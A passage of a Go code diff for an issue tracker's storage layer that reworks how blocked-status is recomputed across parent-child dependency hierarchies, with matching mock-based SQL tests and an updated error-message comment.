markIsBlockedPassForWispsInTx(ctx context.Context, tx DBTX, ids []string) (int64, error) { if len(ids) == 0 { return 0, nil } - return runMarkBatchedInTx(ctx, tx, markBlockedTemplateForWisps(), ids) + return runMarkBatchedInTx(ctx, tx, wispsBlockedSpec, ids) } -func runMarkUnmarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl, unmarkTmpl string, ids []string) (int64, error) { +// batchExogeneity reads the batch-scoped exogeneity set for one chunk of ids: +// ONE read for the chunk, shared by the chunk's mark and its unmark. +// +// It is read before the mark, so the unmark sees the set as it was at the top +// of the chunk. That is the same staleness the unbatched full repair accepts +// (one read per PASS, see recomputeIsBlockedCounting), and it is safe for the +// same reason: both callers are fixpoint loops that stop only on a pass that +// changes NO rows, and on that pass the set was read against the state the +// pass ends in. So the state the loop converges to satisfies both predicates +// under the set derived from that very state; a stale read can only cost an +// extra pass, never a wrong fixpoint. +func batchExogeneity( + ctx context.Context, tx DBTX, spec blockedTableSpec, placeholders string, args []interface{}, +) (subtreeExplainedParents, error) { + return scopedExplainedParentsInTx(ctx, tx, spec.depTable, + fmt.Sprintf(batchScopeSQL, placeholders), args) +} + +func runMarkUnmarkBatchedInTx(ctx context.Context, tx DBTX, spec blockedTableSpec, ids []string) (int64, error) { var changed int64 for start := 0; start < len(ids); start += queryBatchSize { end := start + queryBatchSize @@ -355,8 +436,16 @@ func runMarkUnmarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl, unmarkTmpl end = len(ids) } placeholders, args := buildSQLInClause(ids[start:end]) + explained, err := batchExogeneity(ctx, tx, spec, placeholders, args) + if err != nil { + return changed, fmt.Errorf("recompute is_blocked (exogeneity): %w", err) + } - stmt, stmtArgs := expandBatchTemplate(markTmpl, placeholders, args) + stmt, stmtArgs, err := expandBatchTemplate( + markBlockedTemplate(spec, explained), placeholders, args, explained.args()) + if err != nil { + return changed, fmt.Errorf("recompute is_blocked (mark): %w", err) + } res, err := tx.ExecContext(ctx, stmt, stmtArgs...) if err != nil { return changed, fmt.Errorf("recompute is_blocked (mark): %w", err) @@ -367,7 +456,11 @@ func runMarkUnmarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl, unmarkTmpl } changed += n - stmt, stmtArgs = expandBatchTemplate(unmarkTmpl, placeholders, args) + stmt, stmtArgs, err = expandBatchTemplate( + unmarkBlockedTemplate(spec, explained), placeholders, args, explained.args()) + if err != nil { + return changed, fmt.Errorf("recompute is_blocked (unmark): %w", err) + } res, err = tx.ExecContext(ctx, stmt, stmtArgs...) if err != nil { return changed, fmt.Errorf("recompute is_blocked (unmark): %w", err) @@ -395,19 +488,19 @@ type recomputeChunk struct { // RecomputeIsBlockedInTxWithResult call: the fixpoint loop writes only // is_blocked, never dependency rows, so the split holds for every pass. type recomputePlan struct { - table, markTmpl, unmarkTmpl string - chunks []recomputeChunk + spec blockedTableSpec + chunks []recomputeChunk } // planRecomputeInTx chunks ids exactly as runMarkUnmarkBatchedInTx would and -// splits each chunk by whether depTable holds a row with that id as its +// splits each chunk by whether spec.depTable holds a row with that id as its // issue_id. // // Every leg of the should-be-blocked union the mark/unmark templates probe is -// scoped to `d.issue_id IN (batch)` on depTable -// (shouldBeBlockedIDsUnionScopedSQL), so an id with no depTable row of its own -// is never in that union: mark cannot select it, and unmark reduces to -// "is_blocked = 1 -> 0". Those ids — every freshly created issue without +// scoped to `d.issue_id IN (batch)` on spec.depTable +// (shouldBeBlockedIDsUnionScopedPrecomputedSQL), so an id with no row of its +// own there is never in that union: mark cannot select it, and unmark reduces +// to "is_blocked = 1 -> 0". Those ids — every freshly created issue without // edges, which is most of what a large create or apply-batch recomputes — // need not ride the two union statements, whose cost grows with the table. // @@ -416,14 +509,14 @@ type recomputePlan struct { // the create paths) or when the chunk is large; the single-issue recomputes of // close, reopen, update and dependency edits keep exactly the statements they // ran before the shortcut existed. -func planRecomputeInTx(ctx context.Context, tx DBTX, table, depTable, markTmpl, unmarkTmpl string, ids []string, splitEdgeless bool) (recomputePlan, error) { - plan := recomputePlan{table: table, markTmpl: markTmpl, unmarkTmpl: unmarkTmpl} +func planRecomputeInTx(ctx context.Context, tx DBTX, spec blockedTableSpec, ids []string, splitEdgeless bool) (recomputePlan, error) { + plan := recomputePlan{spec: spec} for start := 0; start < len(ids); start += queryBatchSize { end := min(start+queryBatchSize, len(ids)) chunk := recomputeChunk{withEdges: ids[start:end]} if !createFastPathsDisabled.Load() && (splitEdgeless || end-start >= recomputeSplitMinChunk) { var err error - chunk.withEdges, chunk.edgeless, err = splitByOwnDependencyRowsInTx(ctx, tx, depTable, ids[start:end]) + chunk.withEdges, chunk.edgeless, err = splitByOwnDependencyRowsInTx(ctx, tx, spec.depTable, ids[start:end]) if err != nil { return plan, err } @@ -433,20 +526,27 @@ func planRecomputeInTx(ctx context.Context, tx DBTX, table, depTable, markTmpl, return plan, nil } -// runPassInTx is one fixpoint pass over the plan, statement-for-statement -// equivalent to runMarkUnmarkBatchedInTx over the plan's full ids. Per chunk: -// the mark and unmark templates run over the ids with edges — the union, scoped -// to them, holds exactly what it held scoped to the whole chunk — and then, on -// the first pass only, a plain unmark clears the edgeless ids. It runs after -// both templates so their unions see the edgeless rows' pre-pass is_blocked, -// as they did when those rows were cleared by the chunk's own unmark -// statement; on later passes it would match no row (nothing marks an edgeless -// id), so it is skipped. -func (p recomputePlan) runPassInTx(ctx context.Context, tx DBTX, firstPass bool) (int64, error) { +// runRecomputePassInTx is one fixpoint pass over the plan, +// statement-for-statement equivalent to runMarkUnmarkBatchedInTx over the +// plan's full ids. Per chunk: the mark and unmark templates run over the ids +// with edges — the union, scoped to them, holds exactly what it held scoped to +// the whole chunk, and so does the batch's exogeneity read (an edgeless id +// names no parent) — and then, on the first pass only, a plain unmark clears +// the edgeless ids. It runs after both templates so their unions see the +// edgeless rows' pre-pass is_blocked, as they did when those rows were cleared +// by the chunk's own unmark statement; on later passes it would match no row +// (nothing marks an edgeless id), so it is skipped. +// +// It is a function rather than a method on recomputePlan because the +// structural write guards follow bare-identifier calls only: as a method, the +// mark/unmark DML it reaches would be invisible from the exported recompute +// entry points, and their versionExemptions entries would read as stale +// (TestEveryBeadMutatorMintsOrIsExempt). +func runRecomputePassInTx(ctx context.Context, tx DBTX, p recomputePlan, firstPass bool) (int64, error) { var changed int64 for _, chunk := range p.chunks { if len(chunk.withEdges) > 0 { - n, err := runMarkUnmarkBatchedInTx(ctx, tx, p.markTmpl, p.unmarkTmpl, chunk.withEdges) + n, err := runMarkUnmarkBatchedInTx(ctx, tx, p.spec, chunk.withEdges) changed += n if err != nil { return changed, err @@ -460,7 +560,7 @@ func (p recomputePlan) runPassInTx(ctx context.Context, tx DBTX, firstPass bool) res, err := tx.ExecContext(ctx, fmt.Sprintf(` UPDATE %[1]s t SET t.is_blocked = 0, t.updated_at = t.updated_at WHERE t.id IN (%[2]s) AND t.is_blocked = 1 - `, p.table, placeholders), args...) + `, p.spec.table, placeholders), args...) if err != nil { return changed, fmt.Errorf("recompute is_blocked (unmark): %w", err) } @@ -507,7 +607,7 @@ func splitByOwnDependencyRowsInTx(ctx context.Context, tx DBTX, depTable string, return withEdges, withoutEdges, nil } -func runMarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl string, ids []string) (int64, error) { +func runMarkBatchedInTx(ctx context.Context, tx DBTX, spec blockedTableSpec, ids []string) (int64, error) { var changed int64 for start := 0; start < len(ids); start += queryBatchSize { end := start + queryBatchSize @@ -515,8 +615,16 @@ func runMarkBatchedInTx(ctx context.Context, tx DBTX, markTmpl string, ids []str end = len(ids) } placeholders, args := buildSQLInClause(ids[start:end]) + explained, err := batchExogeneity(ctx, tx, spec, placeholders, args) + if err != nil { + return changed, fmt.Errorf("mark is_blocked (exogeneity): %w", err) + } - stmt, stmtArgs := expandBatchTemplate(markTmpl, placeholders, args) + stmt, stmtArgs, err := expandBatchTemplate( + markBlockedTemplate(spec, explained), placeholders, args, explained.args()) + if err != nil { + return changed, fmt.Errorf("mark is_blocked: %w", err) + } res, err := tx.ExecContext(ctx, stmt, stmtArgs...) if err != nil { return changed, fmt.Errorf("mark is_blocked: %w", err) @@ -582,6 +690,9 @@ func AffectedByDepChangeInTx(ctx context.Context, tx DBTX, source, target string if err := loadWaitersOnSpawnerIDsInTx(ctx, tx, []string{target}, &issueSeed, issueSeen, &wispSeed, wispSeen); err != nil { return nil, nil, err } + if err := appendSiblingsUnderAncestorsInTx(ctx, tx, target, &issueSeed, issueSeen, &wispSeed, wispSeen); err != nil { + return nil, nil, err + } } return expandByParentChildDescendantsInTx(ctx, tx, issueSeed, wispSeed, issueSeen, wispSeen) default: @@ -600,6 +711,9 @@ func AffectedByDepChangeForWispInTx(ctx context.Context, tx DBTX, source, target if err := loadWaitersOnSpawnerIDsInTx(ctx, tx, []string{target}, &issueSeed, issueSeen, &wispSeed, wispSeen); err != nil { return nil, nil, err } + if err := appendSiblingsUnderAncestorsInTx(ctx, tx, target, &issueSeed, issueSeen, &wispSeed, wispSeen); err != nil { + return nil, nil, err + } } return expandByParentChildDescendantsInTx(ctx, tx, issueSeed, wispSeed, issueSeen, wispSeen) default: @@ -607,6 +721,120 @@ func AffectedByDepChangeForWispInTx(ctx context.Context, tx DBTX, source, target } } +// appendSiblingsUnderAncestorsInTx seeds every existing parent-child child of +// parent AND of each of parent's own ancestors (of either kind) for recompute. +// +// A parent-child edge onto a parent that BLOCKS on the new child reclassifies +// that blocking reason from exogenous to subtree-derived, and the cascade legs +// propagate only exogenous blockedness (gastownhall/beads#6506, +// parentsExplainedBySubtreeSQL). So writing or removing one edge can flip the +// answer for the parent's OTHER children, which no other seed in this walk +// reaches: the close-gate epic is built one child at a time, and the second +// edge is what un-darkens the first child. +// +// The walk goes all the way UP because the exogeneity test is over the whole +// SUBTREE, not over direct children. Hanging G under C changes nothing about C +// but everything about any ANCESTOR of C that blocks on G: that reason just +// moved inside its subtree, so the ancestor stops darkening its own children. +// The reviewer's depth-2 lock is exactly this shape (P blocks G; pc C -> P, +// C2 -> P, G -> C), and only P's sibling set — not C's — carries the flip. +// Seeding each ancestor's whole sibling set, which +// expandByParentChildDescendantsInTx then expands to their subtrees, is what +// keeps the incremental write path agreeing with the full repair. +func appendSiblingsUnderAncestorsInTx( + ctx context.Context, tx DBTX, + parent string, + issueSeed *[]string, issueSeen map[string]bool, + wispSeed *[]string, wispSeen map[string]bool, +) error { + parents, err := ancestorChainInTx(ctx, tx, parent) + if err != nil { + return err + } + if len(parents) == 0 { + return nil + } + // The parents' own kinds are not known here, so probe both target columns; + // the one that does not match a parent simply returns no rows. + for _, w := range []struct { + depTable, parentCol string + seed *[]string + seen map[string]bool + }{ + {"dependencies", "depends_on_issue_id", issueSeed, issueSeen}, + {"wisp_dependencies", "depends_on_issue_id", wispSeed, wispSeen}, + {"dependencies", "depends_on_wisp_id", issueSeed, issueSeen}, + {"wisp_dependencies", "depends_on_wisp_id", wispSeed, wispSeen}, + } { + if err := appendChildrenInTx(ctx, tx, w.depTable, w.parentCol, parents, w.seen, w.seed); err != nil { + return err + } + } + return nil +} + +// ancestorChainInTx returns id, plus every parent-child ancestor of id THAT +// CARRIES A BLOCKING REASON OF ITS OWN — a dependency row that is not +// parent-child. Order is not meaningful. +// +// The filter is what keeps the walk from being quadratic. Only an ancestor +// that holds a blocking reason can have that reason reclassified by an edge +// below it, so only such an ancestor's children can flip; an ancestor with +// nothing but hierarchy edges contributes seeds that can never change. Without +// the filter a 70-deep chain reseeds every ancestor's subtree on every edge +// written into it, which is O(depth x size) per write and times out. +// +// It walks with isAncestorInTx's own recursive members (reachabilityMembers in +// dependencies.go): one per dependency table, each an index probe on issue_id +// pinned by join hints, merged by UNION distinct, so a malformed diamond or +// cycle in the hierarchy terminates by unique reachable node rather than +// running away. The members project NULL for a row that is not parent-child, +// which the outer filter drops. Joining the frontier to a derived UNION of the +// two tables instead, this walk's first shape, is the scan #7224 removed from +// isAncestorInTx (minutes per walk at 100k edges), and it runs here on every +// parent-child write and merge replay. TestGraphWalkPlansHonorJoinHints +// (embedded) pins the lookup plan. +// +//nolint:gosec // G201: the members are built from constant table names and type filters. +func ancestorChainInTx(ctx context.Context, tx DBTX, id string) ([]string, error) { + if id == "" { + return nil, nil + } + query := fmt.Sprintf(` + WITH RECURSIVE ancestors(node) AS ( + SELECT ? + UNION + %s + ) + SELECT node FROM ancestors + WHERE node IS NOT NULL + AND ( node = ? + OR EXISTS (SELECT 1 FROM dependencies x + WHERE x.issue_id = ancestors.node AND x.type <> 'parent-child') + OR EXISTS (SELECT 1 FROM wisp_dependencies x + WHERE x.issue_id = ancestors.node AND x.type <> 'parent-child') ) + `, reachabilityMembers("ancestors", cycleDetectionTables(), "d.type = 'parent-child'")) + + rows, err := tx.QueryContext(ctx, query, id, id) + if err != nil { + return nil, fmt.Errorf("load ancestor chain of %s: %w", id, err) + } + defer func() { _ = rows.Close() }() + + var out []string + for rows.Next() { + var node string + if err := rows.Scan(&node); err != nil { + return nil, fmt.Errorf("scan ancestor chain of %s: %w", id, err) + } + out = append(out, node) + } + if err := rows.Err(); err != nil { + return nil, fmt.Errorf("ancestor chain rows for %s: %w", id, err) + } + return out, nil +} + func loadBlockingDependersInTx( ctx context.Context, tx DBTX, targetCol, id string, diff --git a/internal/storage/issueops/blocked_state_result_test.go b/internal/storage/issueops/blocked_state_result_test.go index 37d602a2d..50d243b7d 100644 --- a/internal/storage/issueops/blocked_state_result_test.go +++ b/internal/storage/issueops/blocked_state_result_test.go @@ -25,6 +25,19 @@ func newBlockedStateResultMock(t *testing.T) (sqlmock.Sqlmock, DBTX) { return mock, db } +// expectBatchExogeneityRead is the batch-scoped exogeneity read every batched +// pass now runs before its statements: first the parent-kind guard, and then +// one read per kind the batch actually names. Answering the guard with no +// parents of either kind is also the pin on the guard itself — a batch with no +// parent-child row must not run either read. +// +// Ordered before the execs because sqlmock is ordered and the runner reads +// once per batch, then binds the ids into both statements. +func expectBatchExogeneityRead(mock sqlmock.Sqlmock, depTable string) { + mock.ExpectQuery(regexp.QuoteMeta("SELECT COUNT(d.depends_on_issue_id), COUNT(d.depends_on_wisp_id)")). + WillReturnRows(sqlmock.NewRows([]string{"issue_parents", "wisp_parents"}).AddRow(0, 0)) +} + // expectOwnEdgesProbe expects planRecomputeInTx's probe of depTable and // answers that every id in withEdges has a dependency row of its own. func expectOwnEdgesProbe(mock sqlmock.Sqlmock, depTable string, withEdges ...string) { @@ -37,12 +50,20 @@ func expectOwnEdgesProbe(mock sqlmock.Sqlmock, depTable string, withEdges ...str } func expectBlockedStatePass(mock sqlmock.Sqlmock, table, alias string, mark, unmark driver.Result) { + expectBatchExogeneityRead(mock, blockedSpecFor(table).depTable) mock.ExpectExec(regexp.QuoteMeta("UPDATE " + table + " " + alias + " SET " + alias + ".is_blocked = 1")). WillReturnResult(mark) mock.ExpectExec(regexp.QuoteMeta("UPDATE " + table + " " + alias + " SET " + alias + ".is_blocked = 0")). WillReturnResult(unmark) } +func blockedSpecFor(table string) blockedTableSpec { + if table == "wisps" { + return wispsBlockedSpec + } + return issuesBlockedSpec +} + func TestRecomputeIsBlockedInTxWithResult(t *testing.T) { t.Run("issue rows changed", func(t *testing.T) { mock, db := newBlockedStateResultMock(t) @@ -94,6 +115,7 @@ func TestRunMarkUnmarkBatchedInTxPropagatesRowsAffectedErrors(t *testing.T) { for _, phase := range []string{"mark", "unmark"} { t.Run(phase, func(t *testing.T) { mock, db := newBlockedStateResultMock(t) + expectBatchExogeneityRead(mock, "dependencies") if phase == "mark" { mock.ExpectExec(regexp.QuoteMeta("UPDATE issues i SET i.is_blocked = 1")). WillReturnResult(sqlmock.NewErrorResult(sentinel)) @@ -105,7 +127,7 @@ func TestRunMarkUnmarkBatchedInTxPropagatesRowsAffectedErrors(t *testing.T) { } _, err := runMarkUnmarkBatchedInTx( - context.Background(), db, markBlockedTemplateForIssues(), unmarkBlockedTemplateForIssues(), []string{"issue-1"}, + context.Background(), db, issuesBlockedSpec, []string{"issue-1"}, ) if !errors.Is(err, sentinel) { t.Fatalf("err = %v, want rows-affected error", err) @@ -126,6 +148,7 @@ func TestRecomputeIsBlockedSkipsUnionForIDsWithoutEdges(t *testing.T) { expectOwnEdgesProbe(mock, "dependencies", "issue-2") // Pass 1: the union statements over the id with edges, then the plain // unmark over the edgeless ids. + expectBatchExogeneityRead(mock, "dependencies") mock.ExpectExec(regexp.QuoteMeta("UPDATE issues i SET i.is_blocked = 1")). WillReturnResult(sqlmock.NewResult(0, 1)) mock.ExpectExec(regexp.QuoteMeta("UPDATE issues i SET i.is_blocked = 0")). @@ -134,6 +157,7 @@ func TestRecomputeIsBlockedSkipsUnionForIDsWithoutEdges(t *testing.T) { WithArgs("issue-1", "issue-3"). WillReturnResult(sqlmock.NewResult(0, 1)) // Pass 2: only the id with edges. + expectBatchExogeneityRead(mock, "dependencies") mock.ExpectExec(regexp.QuoteMeta("UPDATE issues i SET i.is_blocked = 1")). WillReturnResult(sqlmock.NewResult(0, 0)) mock.ExpectExec(regexp.QuoteMeta("UPDATE issues i SET i.is_blocked = 0")). diff --git a/internal/storage/issueops/blocked_state_template_test.go b/internal/storage/issueops/blocked_state_template_test.go index b3c7de7ed..e59c7e251 100644 --- a/internal/storage/issueops/blocked_state_template_test.go +++ b/internal/storage/issueops/blocked_state_template_test.go @@ -6,35 +6,51 @@ import ( ) // The batched mark/unmark templates reach the engine through -// expandBatchTemplate, which decides how many IN-lists to splice by counting -// "%s" textually. Two things are therefore load-bearing and invisible to the -// sqlmock suite next door — its expectations match an unanchored statement +// expandBatchTemplate, which fills the batch IN-lists by walking the template +// for "%s" and interleaves the exogeneity ids the template already carries as +// "?" placeholders. Three things are therefore load-bearing and invisible to +// the sqlmock suite next door — its expectations match an unanchored statement // prefix and never assert bound args, so it stays green against a miscounted -// template: the occurrence count itself, and the absence of any other percent -// sign in the finished template (a future LIKE 'x%' or %d in a union leg would -// shift the count or corrupt the statement). Today a break surfaces only in the -// container-backed dolt suite; these tests pin it at the fast tier -// (gastownhall/beads#6291). +// template: the %s occurrence count, the absence of any other percent sign in +// the finished template (a future LIKE 'x%' or %d in a union leg would shift +// the count or corrupt the statement), and the absence of any "?" the caller +// did not bind. Today a break surfaces only in the container-backed dolt +// suite; these tests pin it at the fast tier (gastownhall/beads#6291). -// batchTemplateOccurrences is the number of IN-lists a batched template -// carries: the outer row filter, plus one per leg of the scoped +// batchTemplateOccurrences is the number of batch IN-lists a batched template +// carries: the outer row filter, and one per leg of the scoped // should-be-blocked union. +// +// It was briefly 8: the parent-child legs' exogeneity set was spliced as the +// query that derives it, and that query carried the batch scope twice more. +// The set is now read once per batch and bound as ids +// (scopedExplainedParentsInTx), which is both 6.9x faster on a 200-id batch +// and why the ? group below exists. const batchTemplateOccurrences = 6 -func batchedTemplates() map[string]string { +// explainedFixture is a non-empty exogeneity set of each kind, so the bound-? +// plumbing is exercised rather than degenerating to the empty case. +func explainedFixture() subtreeExplainedParents { + return subtreeExplainedParents{ + issueParents: []string{"parent-1", "parent-2"}, + wispParents: []string{"wisp-parent-1"}, + } +} + +func batchedTemplates(explained subtreeExplainedParents) map[string]string { return map[string]string{ - "markBlockedTemplateForIssues": markBlockedTemplateForIssues(), - "unmarkBlockedTemplateForIssues": unmarkBlockedTemplateForIssues(), - "markBlockedTemplateForWisps": markBlockedTemplateForWisps(), - "unmarkBlockedTemplateForWisps": unmarkBlockedTemplateForWisps(), + "markBlockedTemplateForIssues": markBlockedTemplateForIssues(explained), + "unmarkBlockedTemplateForIssues": unmarkBlockedTemplateForIssues(explained), + "markBlockedTemplateForWisps": markBlockedTemplateForWisps(explained), + "unmarkBlockedTemplateForWisps": unmarkBlockedTemplateForWisps(explained), } } func TestBatchedTemplatePercentBudget(t *testing.T) { - for name, tmpl := range batchedTemplates() { + for name, tmpl := range batchedTemplates(explainedFixture()) { t.Run(name, func(t *testing.T) { if got := strings.Count(tmpl, "%s"); got != batchTemplateOccurrences { - t.Errorf("%%s count = %d, want %d — expandBatchTemplate binds one id group per occurrence, so a changed count must be a deliberate edit here", got, batchTemplateOccurrences) + t.Errorf("%%s count = %d, want %d — expandBatchTemplate binds one batch id group per occurrence, so a changed count must be a deliberate edit here", got, batchTemplateOccurrences) } // The stray-percent guard: every percent sign in the finished // template must belong to one of the %s verbs counted above. @@ -45,21 +61,51 @@ func TestBatchedTemplatePercentBudget(t *testing.T) { } } -func TestWaitsForGateBlockedSQLCarriesNoPercent(t *testing.T) { +// TestBatchedTemplateQuestionMarksAreTheExogeneitySet pins the other half of +// expandBatchTemplate's contract: the ONLY ? a template carries are the two +// parent-child legs' bound exogeneity ids, so an empty set leaves none. +func TestBatchedTemplateQuestionMarksAreTheExogeneitySet(t *testing.T) { + explained := explainedFixture() + want := len(explained.issueParents) + len(explained.wispParents) + for name, tmpl := range batchedTemplates(explained) { + t.Run(name, func(t *testing.T) { + if got := strings.Count(tmpl, "?"); got != want { + t.Errorf("? count = %d, want %d (the bound exogeneity ids)", got, want) + } + }) + } + for name, tmpl := range batchedTemplates(subtreeExplainedParents{}) { + t.Run(name+"/empty", func(t *testing.T) { + if got := strings.Count(tmpl, "?"); got != 0 { + t.Errorf("? count = %d over an empty exogeneity set, want 0", got) + } + }) + } +} + +func TestWaitsForGateBlockedSQLCarriesNoPercentOrPlaceholder(t *testing.T) { // The gate is spliced into every template as a resolved constant, so any - // percent sign it grew would land in the counted text above. + // percent sign or placeholder it grew would land in the counted text above. if got := strings.Count(waitsForGateBlockedSQL, "%"); got != 0 { t.Errorf("waitsForGateBlockedSQL %% count = %d, want 0", got) } + if got := strings.Count(waitsForGateBlockedSQL, "?"); got != 0 { + t.Errorf("waitsForGateBlockedSQL ? count = %d, want 0", got) + } } func TestExpandBatchTemplateFillsEveryOccurrence(t *testing.T) { placeholders, args := buildSQLInClause([]string{"issue-1", "issue-2"}) - wantArgs := batchTemplateOccurrences * len(args) + explained := explainedFixture() + bound := explained.args() + wantArgs := batchTemplateOccurrences*len(args) + len(bound) - for name, tmpl := range batchedTemplates() { + for name, tmpl := range batchedTemplates(explained) { t.Run(name, func(t *testing.T) { - stmt, stmtArgs := expandBatchTemplate(tmpl, placeholders, args) + stmt, stmtArgs, err := expandBatchTemplate(tmpl, placeholders, args, bound) + if err != nil { + t.Fatalf("expandBatchTemplate: %v", err) + } if strings.ContainsAny(stmt, "%") { t.Errorf("expanded statement still contains %%: %s", stmt) @@ -70,21 +116,53 @@ func TestExpandBatchTemplateFillsEveryOccurrence(t *testing.T) { if got := len(stmtArgs); got != wantArgs { t.Fatalf("arg count = %d, want %d — placeholders and args must stay in lockstep", got, wantArgs) } - // Each occurrence gets the same group, repeated in order. + // TEXT ORDER: the batch group for the outer filter and legs 1-2, + // then leg 3's batch group followed by the issue parents, then leg + // 4's batch group followed by the wisp parents, then leg 5's. + var want []interface{} + for k := 0; k < batchTemplateOccurrences; k++ { + want = append(want, args...) + if k == 3 { + want = append(want, "parent-1", "parent-2") + } + if k == 4 { + want = append(want, "wisp-parent-1") + } + } for i, arg := range stmtArgs { - if want := args[i%len(args)]; arg != want { - t.Errorf("arg %d = %v, want %v", i, arg, want) + if arg != want[i] { + t.Errorf("arg %d = %v, want %v", i, arg, want[i]) } } }) } } +// TestExpandBatchTemplateRefusesABoundMismatch is the guard that keeps a +// miscounted bound group from reaching the engine as an opaque argument-count +// error: the template's ? placeholders and the bound ids must agree exactly. +func TestExpandBatchTemplateRefusesABoundMismatch(t *testing.T) { + placeholders, args := buildSQLInClause([]string{"issue-1"}) + tmpl := markBlockedTemplateForIssues(subtreeExplainedParents{issueParents: []string{"parent-1"}}) + + if _, _, err := expandBatchTemplate(tmpl, placeholders, args, nil); err == nil { + t.Error("want an error when the template carries a ? the caller did not bind") + } + if _, _, err := expandBatchTemplate( + tmpl, placeholders, args, []interface{}{"parent-1", "parent-2"}); err == nil { + t.Error("want an error when the caller binds more ids than the template carries") + } +} + func TestExpandBatchTemplateSingleOccurrenceDegrades(t *testing.T) { - // A template with one %s is the plain Sprintf it always was: the args pass - // through untouched rather than being repeated. + // A template with one %s and no bound ids is the plain Sprintf it always + // was: the args pass through untouched rather than being repeated. placeholders, args := buildSQLInClause([]string{"issue-1", "issue-2"}) - stmt, stmtArgs := expandBatchTemplate("SELECT id FROM issues WHERE id IN (%s)", placeholders, args) + stmt, stmtArgs, err := expandBatchTemplate( + "SELECT id FROM issues WHERE id IN (%s)", placeholders, args, nil) + if err != nil { + t.Fatalf("expandBatchTemplate: %v", err) + } if want := "SELECT id FROM issues WHERE id IN (?,?)"; stmt != want { t.Errorf("stmt = %q, want %q", stmt, want) @@ -98,10 +176,10 @@ func TestExpandBatchTemplateSingleOccurrenceDegrades(t *testing.T) { // should-be-blocked union's four joined legs: without them the Dolt // sql-server planner intermittently drives the issues legs from an index // scan of every open issue, 6-10 s per statement over an import's -// uncommitted working set (see shouldBeBlockedIDsUnionScopedSQL). The -// unscoped union (full repair, doctor count) keeps the planner's choice. +// uncommitted working set (see shouldBeBlockedIDsUnionScopedPrecomputedSQL). +// The unscoped union (full repair, doctor count) keeps the planner's choice. func TestBatchedTemplatesPinLookupJoins(t *testing.T) { - for name, tmpl := range batchedTemplates() { + for name, tmpl := range batchedTemplates(explainedFixture()) { for _, hint := range []string{"JOIN_ORDER(d, t) LOOKUP_JOIN(d, t)", "JOIN_ORDER(d, p) LOOKUP_JOIN(d, p)"} { if got := strings.Count(tmpl, hint); got != 2 { t.Errorf("%s carries %q %d times, want 2 (one per joined issues/wisps leg)", name, hint, got) @@ -109,7 +187,7 @@ func TestBatchedTemplatesPinLookupJoins(t *testing.T) { } } for _, depTable := range []string{"dependencies", "wisp_dependencies"} { - union := shouldBeBlockedIDsUnionSQL(depTable) + union := shouldBeBlockedIDsUnionPrecomputedSQL(depTable, explainedFixture()) if strings.Contains(union, "LOOKUP_JOIN(d, t)") || strings.Contains(union, "LOOKUP_JOIN(d, p)") { t.Errorf("unscoped union over %s should not pin its legs' joins", depTable) } diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index f4febfbd8..d6acfe91f 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -593,12 +593,6 @@ func cycleReachabilityQuery(depTables []string) string { // The reachable set is the same as the single-member walk over the UNION: // UNION distinct merges what every member produces per step. func reachabilityQuery(cte string, depTables []string, typeFilter string) string { - members := make([]string, 0, len(depTables)) - for _, t := range depTables { - members = append(members, fmt.Sprintf( - "SELECT /*+ JOIN_ORDER(r, d) LOOKUP_JOIN(r, d) */ CASE WHEN %s THEN %s END FROM %s r JOIN %s d ON d.issue_id = r.node", - typeFilter, depTargetExpr("d"), cte, t)) - } return fmt.Sprintf(` WITH RECURSIVE %s(node) AS ( SELECT ? @@ -606,7 +600,22 @@ func reachabilityQuery(cte string, depTables []string, typeFilter string) string %s ) SELECT COUNT(*) FROM %s WHERE node = ? - `, cte, strings.Join(members, "\n\t\t\tUNION\n\t\t\t"), cte) + `, cte, reachabilityMembers(cte, depTables, typeFilter), cte) +} + +// reachabilityMembers is reachabilityQuery's recursive members, one per +// dependency table and joined by UNION, for any walk over the same edges +// (ancestorChainInTx in blocked_state.go shares them). A NULL node, which is +// what a row of another type projects, is the caller's to filter out of a +// walk's result. +func reachabilityMembers(cte string, depTables []string, typeFilter string) string { + members := make([]string, 0, len(depTables)) + for _, t := range depTables { + members = append(members, fmt.Sprintf( + "SELECT /*+ JOIN_ORDER(r, d) LOOKUP_JOIN(r, d) */ CASE WHEN %s THEN %s END FROM %s r JOIN %s d ON d.issue_id = r.node", + typeFilter, depTargetExpr("d"), cte, t)) + } + return strings.Join(members, "\n\t\t\tUNION\n\t\t\t") } func cycleDetectionTables() []string { diff --git a/internal/storage/issueops/reopen_test.go b/internal/storage/issueops/reopen_test.go index 47cd8610e..4996f1871 100644 --- a/internal/storage/issueops/reopen_test.go +++ b/internal/storage/issueops/reopen_test.go @@ -57,6 +57,10 @@ func TestReopenIssueInTxRetriesConditionalUpdateWhenLatestStatusIsCustomDone(t * mock.ExpectQuery(`(?s)SELECT id FROM events`). WillReturnRows(sqlmock.NewRows([]string{"id"})) mock.ExpectExec(`(?s)INSERT INTO events`).WillReturnResult(sqlmock.NewResult(0, 1)) + // The batched recompute's parent-kind guard: no parent-child row in the + // batch, so neither exogeneity read runs before the mark and unmark. + mock.ExpectQuery(`(?s)SELECT COUNT\(d\.depends_on_issue_id\)`). + WillReturnRows(sqlmock.NewRows([]string{"i", "w"}).AddRow(0, 0)) mock.ExpectExec(`(?s)UPDATE issues i SET`).WillReturnResult(sqlmock.NewResult(0, 0)) mock.ExpectExec(`(?s)UPDATE issues i SET`).WillReturnResult(sqlmock.NewResult(0, 0)) mock.ExpectRollback() diff --git a/issueops/errors.go b/issueops/errors.go index 7e0ef5bcb..7db6159ed 100644 --- a/issueops/errors.go +++ b/issueops/errors.go @@ -399,19 +399,29 @@ func (e *DependencyEndpointNotFoundError) Error() string { func (e *DependencyEndpointNotFoundError) Unwrap() error { return e.Err } // DependencyHierarchyConflictError is returned when a blocking dependency -// would gate an issue on one of its own ancestors or descendants. Either shape -// can never clear under the parent-child close/blocking semantics. +// would gate an issue on one of its own ancestors or descendants. Neither +// shape is how the hierarchy expresses "wait for what is under me". type DependencyHierarchyConflictError struct { IssueID string BlockerID string BlockerIsAncestor bool } +// Error states the DESCENDANT refusal as a modeling refusal, not a +// consequence of the cascade. +// +// It used to read "blocked status cascades to descendants, so would +// inherit the block and never close". That was true until +// gastownhall/beads#6506: a parent-child edge now propagates only the parent's +// EXOGENOUS blockedness, so a parent that blocks on something in its own +// subtree no longer darkens it, and the sentence described a deadlock that no 